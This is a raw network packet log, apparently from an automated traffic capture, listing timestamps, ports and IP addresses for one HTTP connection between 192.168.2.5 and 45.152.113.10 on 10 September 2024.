Sep 10, 2024 19:36:09.502142906 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.585082054 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.585104942 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.585125923 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.585138083 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.585149050 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.585165977 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.585176945 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.585187912 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.585201979 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.585203886 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.585215092 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.585223913 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.585227013 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.585237980 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.585242033 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.585249901 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.585261106 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.585263014 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.585273981 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.585285902 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.585287094 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.585304976 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.585308075 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.585316896 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.585333109 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.585340977 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.585345030 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.585355997 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.585365057 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.585366964 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.585378885 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.585390091 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.585407972 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.585412979 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.585424900 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.585426092 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.585438013 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.585449934 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.585453987 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.585470915 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.585488081 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.585505009 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.585516930 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.585529089 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.585546970 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.585565090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.585577011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.585577965 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.585588932 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.585604906 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.585635900 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.585664034 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.585676908 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.585690975 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.585702896 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.585710049 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.585714102 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.585745096 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.585771084 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.585840940 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.585851908 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.585861921 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.585874081 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.585884094 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.585892916 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.585896015 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.585922956 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.585933924 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.585941076 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.585952997 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.585963011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.585993052 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.586018085 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.586194038 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.586247921 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.586249113 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.586261034 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.586297989 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.586385965 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.586399078 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.586410999 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.586422920 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.586436033 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.586448908 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.586476088 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.586483955 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.586494923 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.586505890 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.586522102 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.586532116 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.586533070 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.586544991 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.586549997 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.586556911 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.586565971 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.586569071 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.586580038 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.586594105 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.586616993 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.587176085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.587188005 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.587199926 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.587229013 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.587241888 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.587272882 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.587285995 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.587296963 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.587307930 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.587318897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.587326050 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.587348938 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.587363005 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.587483883 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.587496042 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.587507010 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.587517977 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.587527990 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.587539911 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.587539911 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.587549925 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.587568045 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.587582111 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.587606907 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.587635040 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.587655067 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.587666988 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.587677956 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.587688923 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.587688923 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.587701082 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.587707043 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.587712049 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.587723970 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.587753057 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.587753057 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.587757111 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.587765932 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.587769985 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.587785006 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.587796926 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.587847948 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.587863922 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.587863922 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.587874889 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.587888002 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.587898970 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.587908983 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.587924004 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.587924004 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.587935925 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.587964058 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.587996960 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.588009119 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.588020086 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.588031054 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.588042021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.588044882 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.588063002 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.588087082 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.588221073 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.588237047 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.588248968 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.588259935 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.588270903 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.588275909 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.588283062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.588294029 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.588300943 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.588304996 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.588316917 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.588327885 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.588329077 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.588339090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.588347912 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.588361025 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.588371992 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.588372946 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.588382959 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.588397026 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.588399887 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.588407993 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.588409901 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.588418961 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.588429928 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.588440895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.588444948 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.588453054 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.588458061 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.588469982 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.588489056 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.588500023 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.671302080 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.671324015 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.671341896 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.671355009 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.671365976 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.671372890 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.671376944 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.671397924 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.671408892 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.671411991 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.671436071 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.671453953 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.671601057 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.671613932 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.671626091 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.671655893 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.671681881 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.671694040 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.671716928 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.671741962 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.671763897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.671776056 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.671787024 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.671798944 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.671809912 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.671816111 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.671823025 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.671834946 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.671871901 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.671871901 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.671901941 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.671915054 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.671925068 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.671936035 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.671947002 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.671957016 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.671963930 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.671969891 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.671971083 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.672013998 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.672013998 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.672036886 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.672048092 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.672058105 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.672070980 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.672080994 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.672091007 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.672102928 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.672113895 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.672113895 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.672127008 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.672139883 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.672156096 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.672167063 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.672177076 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.672187090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.672198057 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.672209024 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.672210932 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.672229052 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.672261000 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.672287941 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.672300100 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.672312021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.672322035 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.672332048 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.672334909 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.672346115 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.672349930 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.672377110 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.672378063 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.672389030 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.672408104 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.672418118 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.672710896 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.672723055 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.672758102 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.672785997 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.672791958 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.672799110 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.672808886 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.672820091 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.672827005 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.672835112 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.672843933 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.672847033 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.672858000 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.672858000 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.672871113 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.672888994 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.672902107 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.672908068 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.672913074 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.672923088 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.672946930 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.672962904 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.672967911 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.672975063 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.673003912 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.673034906 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.673404932 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.673449993 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.673474073 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.673485041 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.673518896 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.673536062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.673547983 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.673558950 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.673571110 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.673582077 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.673609972 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.673624992 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.673635960 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.673640966 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.673651934 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.673652887 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.673660994 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.673675060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.673685074 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.673686028 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.673696995 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.673707962 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.673718929 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.673724890 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.673724890 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.673729897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.673736095 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.673742056 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.673748016 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.673758030 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.673768044 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.673770905 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.673787117 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.673795938 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.673806906 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.673809052 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.673820019 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.673830986 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.673835993 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.673860073 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.673887014 CEST	49707	80	192.168.2.5	45.152.113.10
